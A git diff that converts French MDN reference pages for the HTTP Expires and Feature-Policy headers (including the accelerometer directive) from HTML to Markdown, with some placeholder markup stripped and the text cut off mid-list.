diff --git a/files/fr/web/http/headers/expires/index.md b/files/fr/web/http/headers/expires/index.md
index 99e9e44e7a..4c8a3935f9 100644
--- a/files/fr/web/http/headers/expires/index.md
+++ b/files/fr/web/http/headers/expires/index.md
@@ -3,71 +3,57 @@ title: Expires
 slug: Web/HTTP/Headers/Expires
 translation_of: Web/HTTP/Headers/Expires
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
Le header Expires contient la date/heure après laquelle la réponse est considérée comme dépréciée.

+Le header **`Expires`** contient la date/heure après laquelle la réponse est considérée comme dépréciée.
 
-
Les dates invalides, telles que la valeur 0, représentent une date dans le passé et signifient que la ressource est expirée.

+Les dates invalides, telles que la valeur 0, représentent une date dans le passé et signifient que la ressource est expirée.
 
-
Si un header {{HTTPHeader("Cache-Control")}} contient une directive "max-age" ou "s-max-age" dans la réponse, le header Expires sera ignoré.

+Si un header {{HTTPHeader("Cache-Control")}} contient une directive "max-age" ou "s-max-age" dans la réponse, le header `Expires` sera ignoré.
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
-  
-   
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+    
+      
+      
+    
+  
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
{{Glossary("Simple response header", "CORS-safelisted response-header")}}yes
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no

+        {{Glossary("Simple response header", "CORS-safelisted response-header")}}
+      yes

 

 
-
Syntaxe

+## Syntaxe
 
-
Expires: <http-date>
-

+    Expires: 
 
-
Directives

+## Directives
 
-

- 
<http-date>

- 

- 
An HTTP-date timestamp.

- 

-

+- \
+  - : An HTTP-date timestamp.
 
-
Exemples

+## Exemples
 
-
Expires: Wed, 21 Oct 2015 07:28:00 GMT

+    Expires: Wed, 21 Oct 2015 07:28:00 GMT
 
-
Spécifications

+## Spécifications
 
-
- 
-  
-   
-   
-  
-  
-   
-   
-  
- 
-
SpecificationTitle
{{RFC("7234", "Expires", "5.3")}}Hypertext Transfer Protocol (HTTP/1.1): Caching

+| Specification                                | Title                                           |
+| -------------------------------------------- | ----------------------------------------------- |
+| {{RFC("7234", "Expires", "5.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Caching |
 
-
Compatibilité des navigateurs

+## Compatibilité des navigateurs
 
-
{{Compat("http.headers.Expires")}}

+{{Compat("http.headers.Expires")}}
 
-
See also

+## See also
 
-
    
- 
  • {{HTTPHeader("Cache-Control")}}
    • 
- 
  • {{HTTPHeader("Age")}}
    • 
-

+- {{HTTPHeader("Cache-Control")}}
+- {{HTTPHeader("Age")}}
diff --git a/files/fr/web/http/headers/feature-policy/accelerometer/index.md b/files/fr/web/http/headers/feature-policy/accelerometer/index.md
index 20d123a97b..4f11cbceb5 100644
--- a/files/fr/web/http/headers/feature-policy/accelerometer/index.md
+++ b/files/fr/web/http/headers/feature-policy/accelerometer/index.md
@@ -10,55 +10,34 @@ tags:
   - Reference
 translation_of: Web/HTTP/Headers/Feature-Policy/accelerometer
 ---
-
{{HTTPSidebar}} {{SeeCompatTable}}

+{{HTTPSidebar}} {{SeeCompatTable}}
 
-
La directive accelerometer de l'en-tête HTTP {{HTTPHeader('Feature-Policy')}} contrôle la possibilité pour le document courant de recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{domxref('Accelerometer')}}.

+La directive `accelerometer` de l'en-tête HTTP {{HTTPHeader('Feature-Policy')}} contrôle la possibilité pour le document courant de recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{domxref('Accelerometer')}}.
 
-
Syntaxe

+## Syntaxe
 
-
Feature-Policy: accelerometer <listePermissions>;

+    Feature-Policy: accelerometer ;
 
-

- 
<listePermissions>

- 
{{page('fr/Web/HTTP/Feature_Policy/Using_Feature_Policy', 'allowlist')}}

-

+- \
+  - : {{page('fr/Web/HTTP/Feature_Policy/Using_Feature_Policy', 'allowlist')}}
 
-
Valeur par défaut

+## Valeur par défaut
 
-
La valeur par défaut est 'self'.

+La valeur par défaut est `'self'`.
 
-
Spécifications

+## Spécifications
 
-
- 
-  
-   
-   
-   
-  
- 
- 
-  
-   
-   
-   
-  
-  
-   
-   
-   
-  
- 
-
SpécificationÉtatCommentaire
{{SpecName('Feature Policy')}}{{Spec2('Feature Policy')}}Définition initiale.
{{SpecName('Accelerometer','#accelerometer-interface','Accelerometer')}}{{Spec2('Accelerometer')}}

+| Spécification                                                                                    | État                                 | Commentaire          |
+| ------------------------------------------------------------------------------------------------ | ------------------------------------ | -------------------- |
+| {{SpecName('Feature Policy')}}                                                         | {{Spec2('Feature Policy')}} | Définition initiale. |
+| {{SpecName('Accelerometer','#accelerometer-interface','Accelerometer')}} | {{Spec2('Accelerometer')}} |                      |
 
-
Compatibilité des navigateurs

+## Compatibilité des navigateurs
 
-
{{Compat('http.headers.Feature-Policy.accelerometer')}}

+{{Compat('http.headers.Feature-Policy.accelerometer')}}
 
-
Voir aussi

+## Voir aussi
 
-
+- en-tête {{HTTPHeader('Feature-Policy')}}
+- [Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy)
+- [Utiliser Feature Policy](/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy)
diff --git a/files/fr/web/http/headers/feature-policy/index.md b/files/fr/web/http/headers/feature-policy/index.md
index 355056996d..fd3b52178a 100644
--- a/files/fr/web/http/headers/feature-policy/index.md
+++ b/files/fr/web/http/headers/feature-policy/index.md
@@ -14,148 +14,131 @@ tags:
   - header
 translation_of: Web/HTTP/Headers/Feature-Policy
 ---
-
{{HTTPSidebar}}

+{{HTTPSidebar}}
 
-
L'en-tête HTTP Feature-Policy est un mécanisme permettant de permettre ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans ceux de tous les éléments {{HTMLElement("iframe")}} que le document contient.

+L'en-tête HTTP **`Feature-Policy`** est un mécanisme permettant de permettre ou d'interdire l'utilisation de fonctionnalités du navigateur dans son propre cadre et dans ceux de tous les éléments {{HTMLElement("iframe")}} que le document contient.
 
-

-
Note : Cet en-tête est toujours au stade expérimental, et est sujet à être modifié à tout moment. Méfiez-vous en si vous souhaitez l'implanter sur vos sites. Il a maintenant été renommé Permissions-Policy dans la spécification, et cet article sera mis à jour pour refléter ce changement.

-

+> **Note :** Cet en-tête est toujours au stade expérimental, et est sujet à être modifié à tout moment. Méfiez-vous en si vous souhaitez l'implanter sur vos sites. Il a maintenant été renommé `Permissions-Policy` dans la spécification, et cet article sera mis à jour pour refléter ce changement.
 
-
Pour plus d'informations, vour l'article principal sur Feature Policy.

+Pour plus d'informations, vour l'article principal sur [Feature Policy](/docs/Web/HTTP/Feature_Policy).
 
 
- 
-  
-   
-   
-  
-  
-   
-   
-  
- 
+  
+    
+      
+      
+    
+    
+      
+      
+    
+  
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}oui
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}oui

 

 
-
Syntaxe

-
-
Feature-Policy: <directive> <allowlist>

-
-

- 
<directive>

- 
La directive de Feature Policy sur laquelle appliquer la liste de permissions allowlist. Voir {{anch("Directives")}} ci-dessous pour une liste des noms de directives autorisés.

- 
<allowlist>

- 
{{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}}

-

-
-
Directives

-
-

- 
{{httpheader('Feature-Policy/accelerometer','accelerometer')}}

- 
Contrôle si le document courant est autorisé à recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{DOMxRef("Accelerometer")}}.

- 
{{httpheader('Feature-Policy/ambient-light-sensor','ambient-light-sensor')}}

- 
Contrôle si le le document courant est autorisé à recueillir des informations à propos de la luminosité ambiante de l'appareil au moyen de l'interface {{DOMxRef("AmbientLightSensor")}}.

- 
{{httpheader('Feature-Policy/autoplay','autoplay')}}

- 
Contrôle si le document courant est autorisé à jouer automatiquement des médias chargés au moyen de l'interface {{domxref("HTMLMediaElement")}}. Quand cette fonctionnalité est désactivée et qu'il n'y a pas eu d'action de la part de l'utilisateur, la promesse ({{jsxref("Promise")}}) retournée par {{domxref("HTMLMediaElement.play()")}} sera rejetée avec une exception {{domxref("DOMException")}}. L'attribut autoplay sur les éléments {{HTMLELement("audio")}} et {{HTMLElement("video")}} sera ignoré.

- 
{{httpheader('Feature-Policy/battery','battery')}}

- 
Contrôle si l'utilisation de l'API Battery Status est autorisé. Quand cette fonctionnalité est désactivée, la promesse retournée par {{DOMxRef("Navigator.getBattery","Navigator.getBattery()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.

- 
{{httpheader('Feature-Policy/camera', 'camera')}}

- 
Contrôle si le document courant est autorisé à utiliser l'appareil photographique du système. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.

- 
{{HTTPHeader('Feature-Policy/display-capture', 'display-capture')}}

- 
Contrôle si le document courant est autorisé ou non à utiliser la méthode {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} pour effectuer une capture d'écran. Quand cette fonctionnalité est désactivée, la promesse retounrée par getDisplayMedia() sera rejetée avec une exception {{Exception("NotAllowedError")}} si la permission de prendre une capture d'écran n'est pas obtenue.

- 
{{httpheader('Feature-Policy/document-domain','document-domain')}}

- 
Contrôle si le document courant est autorisé à définir la propriété {{domxref("document.domain")}}. Quand cette directive est désactivée, tenter de modifier {{domxref("document.domain")}} échouera et lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.

- 
{{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}}

- 
Contrôle si le document courant est autorisé à utiliser l'API Encrypted Media Extensions (EME). Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.requestMediaKeySystemAccess()")}} sera rejecté avec une {{domxref("DOMException")}}.

- 
{{httpheader('Feature-Policy/execution-while-not-rendered', 'execution-while-not-rendered')}}

- 
Contrôle si les tâches des cadres doivent être exécutées s'ils ne seront pas rendus à l'écran (par exemple si un <iframe> est hidden ou display: none).

- 
{{httpheader('Feature-Policy/execution-while-out-of-viewport', 'execution-while-out-of-viewport')}}

- 
Contrôle si les tâches des cadres doivent être exécutées quand ils sont en dehors du cadre visible.

-

-
-

- 
{{httpheader('Feature-Policy/fullscreen','fullscreen')}}

- 
Contrôle si le document courant est autorisé à utiliser {{DOMxRef("Element.requestFullScreen()")}}. Quand cette directive est désactivée, la promesse retournée sera rejetée avec une exception {{JSxRef("TypeError")}}.

- 
{{httpheader('Feature-Policy/geolocation','geolocation')}}

- 
Contrôle si le document courant est autorisé à utiliser l'interface {{domxref('Geolocation')}}. Quand cette directive est désactivée, les appels à {{domxref('Geolocation.getCurrentPosition','getCurrentPosition()')}} et {{domxref('Geolocation.watchPosition','watchPosition()')}} causeront un appel de leurs fonctions de rappel avec une exception {{domxref('PositionError')}} dont le code est PERMISSION_DENIED.

- 
{{httpheader('Feature-Policy/gyroscope','gyroscope')}}

- 
Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation de l'appareil au moyen de l'interface {{DOMxRef("Gyroscope")}}.

- 
{{httpheader('Feature-Policy/layout-animations','layout-animations')}}

- 
Contrôle si le document courant est autorisé à afficher des animations de mise en page.

-

-
-

- 
{{httpheader('Feature-Policy/legacy-image-formats','legacy-image-formats')}}

- 
Contrôle si le document courant est autorisé à afficher des images dans des formats du passé.

-

-
-

- 
{{httpheader('Feature-Policy/magnetometer','magnetometer')}}

- 
Contrôle si le document courant est autorisé à recueillir des informations à propos de l'orientation au moyen de l'interface {{DOMxRef("Magnetometer")}}.

- 
{{httpheader('Feature-Policy/microphone','microphone')}}

- 
Contrôle si le document courant est autorisé à utiliser le microphone de l'appareil. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia()")}} sera rejetée avec une exception {{Exception("NotAllowedError")}}.

- 
{{httpheader('Feature-Policy/midi', 'midi')}}

- 
Contrôle si le document courant est autorisé à utiliser l'API Web MIDI. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("Navigator.requestMIDIAccess()")}} sera rejetée avec une exception {{domxref("DOMException")}}.

- 
{{httpheader('Feature-Policy/navigation-override','navigation-override')}}

- 
Contrôle la disponibilité des mécanismes qui permettent à l'auteur de la page de prendre le contrôle sur le comportment de la navigation spatiale, ou de l'annuler complètement.

- 
{{httpheader('Feature-Policy/oversized-images','oversized-images')}}

- 
Contrôle si le document courant est autorisé à télécharger et afficher des images lourdes.

- 
{{httpheader('Feature-Policy/payment', 'payment')}}

- 
Contrôle si le document courant est autorisé à utiliser l'API Payment Request. Quand cette directive est désactivée, le constructeur {{domxref("PaymentRequest","PaymentRequest()")}} lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.

- 
{{httpheader('Feature-Policy/picture-in-picture', 'picture-in-picture')}}

- 
Controls whether the current document is allowed to play a video in a Picture-in-Picture mode via the corresponding API.

- 
{{httpheader("Feature-Policy/publickey-credentials-get", "publickey-credentials-get")}}

- 
Contrôle si le document courant est autorisé à use the Web Authentication API to retreive already stored public-key credentials, i.e. via {{domxref("CredentialsContainer.get","navigator.credentials.get({publicKey: ..., ...})")}}.

- 
{{httpheader('Feature-Policy/sync-xhr', 'sync-xhr')}}

- 
Contrôle si le document courant est autorisé à make synchronous {{DOMxRef("XMLHttpRequest")}} requests.

- 
{{httpheader('Feature-Policy/usb', 'usb')}}

- 
Contrôle si le document courant est autorisé à use the WebUSB API.

- 
{{httpheader('Feature-Policy/vr', 'vr')}} {{deprecated_inline}}

- 
Contrôle si le document courant est autorisé à use the WebVR API. Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.getVRDisplays","Navigator.getVRDisplays()")}} sera rejetée avec une {{domxref("DOMException")}}. Gardez en tête que la norme WebVR est en cours de remplacement au profit de WebXR.

- 
{{httpheader('Feature-Policy/wake-lock', 'wake-lock')}}

- 
Contrôle si le document courant est autorisé à utiliser l'API Wake Lock pour indiquer que l'appareil ne devrait se mettre en veille.

- 
{{httpheader('Feature-Policy/screen-wake-lock', 'screen-wake-lock')}}

- 
Contrôle si le document courant est autorisé à utiliser l'API Screen Wake Lock pour indiquer que l'appareil ne devrait pas assombrir ou éteindre l'écran.

- 
{{httpheader("Feature-Policy/web-share", "web-share")}}

- 
Contrôle si le document courant est autorisé à utiliser la méthode {{domxref("Navigator.share","Navigator.share()")}} de l'API Web Share pour partager du texte, des liens, des images et d'autres contenus à des destinations arbitraires sur le choix de l'utilisateur, par exemple à des applications mobiles.

- 
{{httpheader("Feature-Policy/xr-spatial-tracking", "xr-spatial-tracking")}}

- 
Contrôle si le document courant est autorisé à utiliser l'API WebXR Device pour interagir avec une WebXR.

-

-
-
Exemple

-
-
SecureCorp Inc. souhaite désactiver les API du microphone et de géolocalisation dans son application. Elle peut le faire en délivrant l'en-tête de réponse HTTP suivant pour définir une réglementation des fonctionnalités :

-
-
Feature-Policy: microphone 'none'; geolocation 'none'

-
-
En spécifiant la valeur 'none' pour liste des origines, les fonctionnalités auquel la valeur est appliquée seront désactivées pour tous les contextes de navigation (incluant tout les cadres <iframe>), quelle que soit leur origine.

-
-
Spécifications

-
-
- 
-  
-   
-  
- 
- 
-  
-   
-  
- 
-
Spécification
Permissions Policy

-
-
Compatibilité des navigateurs

-
-
{{Compat("http.headers.Feature-Policy")}}

-
-
Voir aussi

-
-
+## Syntaxe
+
+    Feature-Policy:  
+
+- ``
+  - : La directive de Feature Policy sur laquelle appliquer la liste de permissions `allowlist`. Voir {{anch("Directives")}} ci-dessous pour une liste des noms de directives autorisés.
+- ``
+  - : {{page("Web/HTTP/Feature_Policy/Using_Feature_Policy", "allowlist")}}
+
+## Directives
+
+- {{httpheader('Feature-Policy/accelerometer','accelerometer')}}
+  - : Contrôle si le document courant est autorisé à recueillir des informations à propos de l'accélération de l'appareil au moyen de l'interface {{DOMxRef("Accelerometer")}}.
+- {{httpheader('Feature-Policy/ambient-light-sensor','ambient-light-sensor')}}
+  - : Contrôle si le le document courant est autorisé à recueillir des informations à propos de la luminosité ambiante de l'appareil au moyen de l'interface {{DOMxRef("AmbientLightSensor")}}.
+- {{httpheader('Feature-Policy/autoplay','autoplay')}}
+  - : Contrôle si le document courant est autorisé à jouer automatiquement des médias chargés au moyen de l'interface {{domxref("HTMLMediaElement")}}. Quand cette fonctionnalité est désactivée et qu'il n'y a pas eu d'action de la part de l'utilisateur, la promesse ({{jsxref("Promise")}}) retournée par {{domxref("HTMLMediaElement.play()")}} sera rejetée avec une exception {{domxref("DOMException")}}. L'attribut `autoplay` sur les éléments {{HTMLELement("audio")}} et {{HTMLElement("video")}} sera ignoré.
+- {{httpheader('Feature-Policy/battery','battery')}}
+  - : Contrôle si l'utilisation de l'[API Battery Status](/docs/Web/API/Battery_Status_API) est autorisé. Quand cette fonctionnalité est désactivée, la promesse retournée par {{DOMxRef("Navigator.getBattery","Navigator.getBattery()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.
+- {{httpheader('Feature-Policy/camera', 'camera')}}
+  - : Contrôle si le document courant est autorisé à utiliser l'appareil photographique du système. Quand cette fonctionnalité est désactivée, la promesse retournée par {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} sera rejetée avec une {{DOMxRef("DOMException")}} {{Exception("NotAllowedError")}}.
+- {{HTTPHeader('Feature-Policy/display-capture', 'display-capture')}}
+  - : Contrôle si le document courant est autorisé ou non à utiliser la méthode {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} pour effectuer une capture d'écran. Quand cette fonctionnalité est désactivée, la promesse retounrée par `getDisplayMedia()` sera rejetée avec une exception {{Exception("NotAllowedError")}} si la permission de prendre une capture d'écran n'est pas obtenue.
+- {{httpheader('Feature-Policy/document-domain','document-domain')}}
+  - : Contrôle si le document courant est autorisé à définir la propriété {{domxref("document.domain")}}. Quand cette directive est désactivée, tenter de modifier {{domxref("document.domain")}} échouera et lèvera une {{domxref("DOMException")}} {{Exception("SecurityError")}}.
+- {{httpheader('Feature-Policy/encrypted-media', 'encrypted-media')}}
+  - : Contrôle si le document courant est autorisé à utiliser l'API [Encrypted Media Extensions](/en-US/docs/Web/API/Encrypted_Media_Extensions_API) (EME). Quand cette directive est désactivée, la promesse retournée par {{domxref("Navigator.requestMediaKeySystemAccess()")}} sera rejecté avec une {{domxref("DOMException")}}.
+- {{httpheader('Feature-Policy/execution-while-not-rendered', 'execution-while-not-rendered')}}
+  - : Contrôle si les tâches des cadres doivent être exécutées s'ils ne seront pas rendus à l'écran (par exemple si un `